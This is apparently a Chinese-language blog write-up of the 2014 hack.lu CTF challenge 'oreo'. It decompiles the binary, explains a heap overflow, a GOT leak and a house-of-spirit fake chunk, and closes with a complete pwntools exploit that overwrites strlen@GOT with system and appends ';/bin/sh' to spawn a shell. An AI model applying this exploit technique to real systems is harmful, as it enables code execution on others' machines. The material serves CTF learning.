题目很巧妙,而且很容易忽略一些细节导致掉进坑里出不来。本人在写的时候就遭遇了一些百思不得解的问题,而后通过慢慢的调试推演找到了问题所在地。在博客里?一下,防止以后再犯。
参考资料: https://wiki.x10sec.org/pwn/heap/fastbin_attack/
题目概况
题目名:2014_hack.lu_oreo
防护措施:
$ checksec oreo
[*] '/home/eqqie/CTF/ctf-challenges/pwn/heap/fastbin-attack/2014_hack.lu_oreo/oreo'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
RELRO是关的,说明很可能需要进行覆盖got表的操作。(常规套路lol)
代码审计
在IDA中逆向分析该程序的功能功能构成以及可能被利用的位置。
该程序是一个模拟线上枪支交易系统,可以新建枪支信息(name,description)以及提出Order,还可以写一段 message,以及查看 added rifles 和 state。看起来挺繁杂的,需要慢慢理清相互之间的关系。
相关函数信息:
1. Add new rifle
unsigned int add_new()
{
char *prev_chunk; // [esp+18h] [ebp-10h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
prev_chunk = curr_chunk_ptr;
curr_chunk_ptr = (char *)malloc(56u);
if ( curr_chunk_ptr )
{
*((_DWORD *)curr_chunk_ptr + 13) = prev_chunk;// 最后四个字节保存上次申请的chunk的指针
printf("Rifle name: ");
fgets(curr_chunk_ptr + 25, 56, stdin);
line_end_check(curr_chunk_ptr + 25);
printf("Rifle description: ");
fgets(curr_chunk_ptr, 56, stdin);
line_end_check(curr_chunk_ptr);
++Rifle_count;
}
else
{
puts("Something terrible happened!");
}
return __readgsdword(0x14u) ^ v2;
}
2. Show added rifles
unsigned int show_added()
{
char *i; // [esp+14h] [ebp-14h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = curr_chunk_ptr; i; i = (char *)*((_DWORD *)i + 13) )// 从最后一条记录开始向前遍历,知道prev_chunk_ptr为0,也就是遍历到第一条记录为止
{
printf("Name: %s\n", i + 25);
printf("Description: %s\n", i);
puts("===================================");
}
return __readgsdword(0x14u) ^ v2;
}
3. Order selected rifles
unsigned int order_selected()
{
char *ptr; // ST18_4
char *temp; // [esp+14h] [ebp-14h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
temp = curr_chunk_ptr;
if ( Rifle_count )
{
while ( temp )
{
ptr = temp;
temp = (char *)*((_DWORD *)temp + 13); // 递归取得prev_chunk的指针并将curr_chunk释放掉
free(ptr);
}
curr_chunk_ptr = 0;
++Order_count; // order总数增加
puts("Okay order submitted!");
}
else
{
puts("No rifles to be ordered!");
}
return __readgsdword(0x14u) ^ v3;
}
4. Leave a Message with your Order
unsigned int message()
{
unsigned int v0; // ST1C_4
v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(message_ptr, 128, stdin);
line_end_check(message_ptr);
return __readgsdword(0x14u) ^ v0;
}
5. Show current stats
unsigned int show_state()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]
v1 = __readgsdword(0x14u);
puts("======= Status =======");
printf("New: %u times\n", Rifle_count);
printf("Orders: %u times\n", Order_count);
if ( *message_ptr )
printf("Order Message: %s\n", message_ptr);
puts("======================");
return __readgsdword(0x14u) ^ v1;
}
6. menu
unsigned int menu()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]
v1 = __readgsdword(0x14u);
puts("What would you like to do?\n");
printf("%u. Add new rifle\n", 1);
printf("%u. Show added rifles\n", 2);
printf("%u. Order selected rifles\n", 3);
printf("%u. Leave a Message with your Order\n", 4);
printf("%u. Show current stats\n", 5);
printf("%u. Exit!\n", 6);
while ( 1 )
{
switch ( get_choice() )
{
case 1:
add_new();
break;
case 2:
show_added();
break;
case 3:
order_selected();
break;
case 4:
leave_message();
break;
case 5:
show_state();
break;
case 6:
return __readgsdword(0x14u) ^ v1;
default:
continue;
}
}
}
一条new rifle的记录结构如下:
00000000 rifle struc ; (sizeof=0x38, mappedto_5)
00000000 descript db 25 dup(?)
00000019 name db 27 dup(?)
00000034 next dd ? ; offset
00000038 rifle ends
在bss段中有一个全局变量一只保存着当前最新的记录对应的chunk的指针,每个chunk尾部有一个next指针指向上一条记录的位置,在 Show added rifles 时便是利用next指针逐级向前显示之前的记录内容。
观察发现,在新增信息,也就是 Add new rifle 的时候,没有正确控制输入长度,导致存在堆溢出,可以修改堆尾部next指针的内容。这意味着只要我们修改next到某个已经完成延迟绑定的函数的got表位置,就可以利用 Show added rifles 泄露这个函数在内存中的位置,从而泄露其它函数如system在内存中的位置。
同时我们发现bss段的结构如下:
.bss:0804A288 curr_chunk_ptr dd ?
.bss:0804A288
.bss:0804A28C align 20h
.bss:0804A2A0 Order_count dd ?
.bss:0804A2A0
.bss:0804A2A4 Rifle_count dd ? add_new+C5↑r
.bss:0804A2A4
.bss:0804A2A8 ; char *message_ptr
.bss:0804A2A8 message_ptr dd ?
.bss:0804A2A8
.bss:0804A2AC align 20h
.bss:0804A2C0 message_area db ? ;
.bss:0804A2C1 db ? ;
.bss:0804A2C2 db ? ;
.bss:0804A2C3 db ? ;
.bss:0804A2C4 db ? ;
.bss:0804A2C5 db ? ;
.bss:0804A2C6 db ? ;
.bss:0804A2C7 db ? ;
.bss:0804A2C8 db ? ;
.bss:0804A2C9 db ? ;
.bss:0804A2CA db ? ;
.bss:0804A2CB db ? ;
.bss:0804A2CC db ? ;
.bss:0804A2CD db ? ;
.bss:0804A2CE db ? ;
.bss:0804A2CF db ? ;
......
Order_count和Rifle_count长度都为4个字节(暗示可以作为chunk的头部),且Rifle_count的值和message_area的内容都可以被控制,这让我们想到可以利用house of sprit 在此处构造一个fake chunk并释放进入fastbin,经过再分配便可以修改messgae_ptr的值到任意可写的位置,这样当我们使用 Leave a Message with your Order 功能的时候就相当于任意地址写。
由于RELRO关闭,如果我们找到一个合适的got表项覆盖为system函数的地址便可以getshell。观察发现strlen@got最适合完成此操作,其参数和system一样都为const char *s,且在 leave message 和 add new rifle 时都会调用到strlen统计输入内容的长度,这意味着"/bin/sh"字符串可从流中输入作为system的参数。
确定exp思路
- (泄露)add一条记录溢出修改next指针域到puts的got表,利用 Show added rifles 把got表的地址打印出来,再通过偏移计算出内存中system的地址。
- (构造fakechunk)
2-1. 前面提到把 Order_count 和 Rifle_count 伪造成chunk头,那么根据题目中固定chunk的大小0x38可以确定,被伪造出来的chunk应该属于0x40的fastbin,所以要通过不断add把 Rifle_count 的值增加到0x40,但是要注意的是最后一条记录需要单独构造next指针域,因为之后通过free把fakechunk放进fastbin时需要通过这个next指针指向fakechunk,这样在free时就可以形成只含两个chunk的fastbin,便于再次malloc时获取到我们构造的fake chunk。
2-2. 注意除了构造fakechunk,还要构造一个符合规则的next_size以及需要把fakechunk的next指针域设置为0,避免在free时发生莫名其妙的错误(由于这里被我忽略了,构造next_size时直接通过padding char的方式,导致了fakechunk的next指针域没有清零,卡了老半天)。
- (覆盖strlen的got表为system的地址) fakechunk构造好后利用 Order selected rifles free掉最后一个chunk以及其next指针指向的fakechunk。由于fakechunk是后释放的,只需要再add一次就可以获得它。并且在add时description的前4个字节就是message_ptr指针的值。只要将其设置为strlen@got的地址,再调用 Leave a Message with your Order 功能向strlen@got写入system的地址便完成了绑定。
- (getshell)这里有一个细节,也是我没注意的地方。因为 Leave a Message with your Order 本身在输入完message之后就会调用一次strlen计算message的长度。但是此处输入之后,strlen已经变成了system,那岂不是会发生system(system_addr)这样的乌龙?没错之前出现这个的问题的时候脑子没转过来,下意识以为exp中存在什么错误。反应过来后想到只需要在message后加上
";/bin/sh\x00"
(注意尾部填充\x00截断)就可以继续执行/bin/sh从而getshell !
完整exp
在python3-pwntool下编写,直接搬到py2注意bytes问题。
系统版本:Ubuntu 16.04 (glibc-2.23)
#!/usr/bin/python3
from pwn import *
p=process("./oreo")
elf=ELF("./oreo")
libc=ELF("./libc.so.6")
strlen_got=elf.got[b"strlen"]
log.success("strlen_got: %s"% hex(strlen_got))
puts_got=elf.got[b"puts"]
log.success("puts_got: %s"% hex(puts_got))
fake_chunk=0x0804A2A8
log.success("fake_chunk: %s"% hex(fake_chunk))
#context.log_level="debug"
def add(name,desc):
p.sendline(b"1")
p.sendline(name)
p.sendline(desc)
def show_rifle():
p.sendline(b"2")
def order():
p.sendline(b"3")
def message(content):
p.sendline(b"4")
p.sendline(content)
def state():
p.sendline(b"5")
def exp():
print("==============exp start===============")
print("***Leak glibc***")
add(b"A"*27+p32(puts_got),b"a"*24)
show_rifle()
p.recvuntil(b"Description: ")
p.recvuntil(b"Description: ")
puts_addr=u32(p.recv(4))
system_addr=libc.symbols[b"system"]-libc.symbols[b"puts"]+puts_addr
binsh_addr=next(libc.search(b"/bin/sh"))-libc.symbols[b"puts"]+puts_addr
log.success("puts_addr: %s"% hex(puts_addr))
log.success("system_addr: %s"% hex(system_addr))
log.success("binsh_addr: %s"% hex(binsh_addr))
print("****************")
for i in range(0x40-2):
add(str(i+2).encode(),b"padding")
add(b"A"*27+p32(fake_chunk),b"BBBBBBBB")
message(b"C"*(0x0804A2A8+0x38+0x4-0x0804A2C0-0x8)+b"\x00"*8+p32(0x11))
order()
add(b"DDDD",p32(strlen_got))
#gdb.attach(p)
message(p32(system_addr)+b";/bin/sh\x00")
#gdb.attach(p)
print("==============exp end=================")
p.interactive()
if __name__=="__main__":
exp()
谢谢支持,欢迎指正!